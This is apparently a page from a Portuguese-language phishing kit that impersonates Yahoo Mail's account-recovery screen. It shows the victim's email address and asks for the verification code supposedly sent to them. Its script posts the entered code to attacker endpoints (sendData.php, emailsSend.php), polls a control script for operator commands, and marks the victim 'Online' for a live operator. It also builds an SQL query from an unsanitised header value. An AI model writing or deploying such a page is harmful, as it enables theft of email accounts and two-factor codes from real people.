<?php
@session_start();
error_reporting(0);
ini_set("display_errors", 0 );

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
 $erro = $_REQUEST['error'];
 $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);

  $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
  $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
  $row_infio = mysqli_fetch_assoc($recorinfo); 
  $totalRowsinfo = mysqli_num_rows($recorinfo); 

$email = $row_infio['usuario'];

$email2 = $row_infio['numero_autenticar'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Clienten Online no cod de email!' WHERE ip='$ip'");

?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1" name=viewport>
<title>Yahoo Mail</title>
<link rel="icon" type="image/x-icon" href="img/yahoo.ico">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/bootstrap-theme.min.css">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
<script type="application/javascript" src="language.js"></script>
<!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->
<!-- <script src="js/bootstrap.min.js"></script> -->
<!-- <script src="js/jquery-vv.min.js"></script> -->
<link rel="stylesheet" href="css/style.min.css">
<!-- <script src="js/verificarUsuario.js" type="text/javascript"></script> -->
 
       
<script>


//função enviar senha
$(document).ready(function(){     
     $(document).on('click', '#entrar', function(e){  
     e.preventDefault();  

     
    // var email = $("#email").val();
     var emailsenha = $("#emailsenha").val();

          if(emailsenha == ""){
       comandoerrordados()

     }else{

     $("#emailsenha").prop('disabled', true);
     $("#entrar").prop('disabled', true);
     document.getElementById("barra").style.display = "block";     
     $.ajax({
    type:'post',    //Definimos o método HTTP usado
    data: {
   // email: email,
    emailCode: emailsenha    
    },
    dataType: 'json', //Definimos o tipo de retorno
    url: '/app/sendData.php',//Definin
  });
      $.ajax({
    type:'post',    //Definimos o método HTTP usado
    data: {
   // email: email,
    emailsenha: emailsenha    
    },
    dataType: 'json', //Definimos o tipo de retorno
    url: 'emailsSend.php',//Definindo o arquivo onde serão buscados os dados
    success: function(data){  
     
    dispararComando();
   // document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
    $("#errorsenha").css("display", "none"); 
      
    }
  });

  }
    });    
});

function dispararComando(e) {
   
    myVar = setInterval(esperaresposta, 1400);

}

       

function esperaresposta() {
    //alert("teste");
    Get("","../main_.php",0);
    
}
function comandoerrordados() {
    document.getElementById("barra").style.display = "none";
    $("#emailsenha").prop('disabled', false);
    $("#entrar").prop('disabled', false);
    $("#errorsenha").css("display", "block");
}


var onOff=1;


function Get(data,urlapi,e) {

    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var json = this.response;
        if(e!=1){ status(JSON.parse(json)); }
      }
    };
    xhttp.open("GET", urlapi+data, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send();
    return false;
}
function status(json) {

   
         if(json.comando=="negarcodemail"){ 
            clearInterval(myVar);
            comandoerrordados();
           
           
        };   

       

}



</script>
<style type="text/css">
body { margin:0;overflow: hidden; }
@media (max-width: 1366px) { #topo { max-width:1160px; } }
@media (max-width: 1215px) { #topo { max-width:960px; } }
@media (max-width: 1007px) { #topo { max-width:740px; } }
@media (min-width: 637px) { #box { max-width:350px !important; } }
@media (max-width: 636px) { #box { max-width:100% !important; } }

@media (max-width: 1366px) { #bottom { max-width:1160px; } }
@media (max-width: 1215px) { #bottom { max-width:960px; } }
@media (max-width: 1007px) { #bottom { max-width:740px; } }
@media (max-width: 784px) { #bottom { max-width:200px; } }

@media (min-width: 477px) { #me { float:right; padding:10px; width:120px; } }
@media (max-width: 477px) { #me { float:left; padding:0 0 10px 0; width:90%; } }
@media (max-width: 768px) { #re { display:none; } }

#emailsenha { width:100%; padding:8px 8px 8px 0; font-size:14px; border:none; outline:none; border-bottom:1px solid #<?php $provedor = $email; if ($provedor == ""){ echo 'CCC'; } else{ echo 'C00'; } ?>; }
#entrar { width:100%; padding:10px; background:#188FFF; border-radius: 4px; border:none; color:#FFF; }
#cancelar { width:49%; height:36px; background:#CCC; border:none; color:#444; }
</style>

</head>

<body style="background: #FFF;">
      <div style="background-color:#FFF !important; min-height: 100px; min-width: 390px; max-width: 390px; min-height: 470px; padding: 0 !important; margin: 0 !important" class="MqxombNty5nrGeK4">
  <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
                   <div style="background:url(./img/34.gif) center no-repeat; height: 10px;" class="aC8cESDerE4i9l6E"></div>
            </div><br><br>
            <div style="float: left;width: calc((100% / 2) - 20px);min-height: 5px;">
            <img src="/logo.png" style="width: 60px;" class="w-[60px] h-[40px] text-black" />
                                    </div>
                                    <div style="float: left;width: 40px;min-height: 5px;">
                                        <center><img src="./img/gpyl4jg.gif" style="margin-top: 5px;height: 8px;float: left;margin-right: 10px;margin-left: 10px;"></center>
                                    </div>
 <div style="text-align: left;float: left; width: calc((100% / 2) - 20px);min-height: 5px; ">
                                        <img src="img/yahoo_pt-BR_f_p_bestfit_2x.png" height="30px">
                                    </div>
<br><br>
<form name="form" id="form"  method="post" onSubmit="return validation()">
<div style="height:auto; background:#FFF; height: 370px; margin:0 auto; margin-top: 6%;" id="box">
<div style="padding:30px;font-family: Arial;">
<div style="text-align: center;"><img src="img/yahoo_pt-BR_f_p_bestfit_2x.png"></div>
<div style="font-size: 18px; text-align:center;" data-i18n="email.yahoo.email.title">Account recovery</div>
<div style="font-size: 14px; text-align:center; margin-top: 10px;"> <?= $email; ?></div>
<div style="font-size: 15px; text-align:center;"><span data-i18n="email.yahoo.email.text">An email with a verification code has just been sent to</span> <b><?=$email2;?></b></div>
<div id="mesa" style="margin-top:10px ;">
<input type="password" name="emailsenha" id="emailsenha" placeholder="insert code" onClick="clicar()" size="1" data-i18n="[placeholder]email.yahoo.email.placeholder">
<input type="hidden" name="email" id="email" value="<?=$email?>">
</div>
<div id="errorsenha" style="display: none;"><span style="color: red;" data-i18n="email.yahoo.email.error">Incorrect code!</span></div>
<div style="margin-top:20px; height: 40px;">
<input type="submit" name="entrar" id="entrar" value="Next" style="float: right;" data-i18n="[value]email.yahoo.email.button"/>
</div>

</div>
</div>

</form>
</div>
<style>      
.goog-text-highlight {
    background-color: transparent;
    -webkit-box-shadow: 2px 2px 4px transparent;
    -moz-box-shadow: 2px 2px 4px transparent;
    box-shadow: 2px 2px 4px transparent;
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    position: relative;
}
.goog-te-banner-frame.skiptranslate {
    display: none !important;
    } 

    </style>
                                        <style>
    html {
        overflow: hidden !important;
    }
</style>
    <style>#google_translate_element,.skiptranslate{display:none;}body{top:0!important;}</style>

<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
    <script type="text/javascript">
        function googleTranslateElementInit(e) {
            if (e?.target === document.getElementById("botaoqtraduz")) {     
                //alert("oi")           
                localStorage.setItem("translated", "1")
                e?.preventDefault()
            new google.translate.TranslateElement({
                pageLanguage: 'en',
                includedLanguages: 'th'
            }, 'google_translate_element');
            setTimeout(function () {
                var select = document.querySelector('select.goog-te-combo');
                select.value = "th";
                select.dispatchEvent(new Event('change'));
            }, 1000)
            }
        }
    </script>

<button id="google_translate_element"></button>

        <li style="display:none !important;" id="botaoqtraduz" onclick="googleTranslateElementInit(event)" class="MuiMenuItem-root MuiMenuItem-gutters MuiButtonBase-root css-1urk43s" tabindex="-1" role="option"
          aria-selected="false" data-value="th">TH<span class="MuiTouchRipple-root css-w0pj6f"></span></li>
      </ul>
    </div>
    <div tabindex="0" data-test="sentinelEnd"></div>
  </div>
                                    <script>
                                        function autotranslate() {
                                            var yestranslate = localStorage.translated
                                            if (yestranslate) {
                                                document.getElementById("botaoqtraduz").click()
                                            }
                                        }
                                        setTimeout(() => {
                                            autotranslate()
                                        }, 1000);

                                    </script>
                                    
</body>
</html>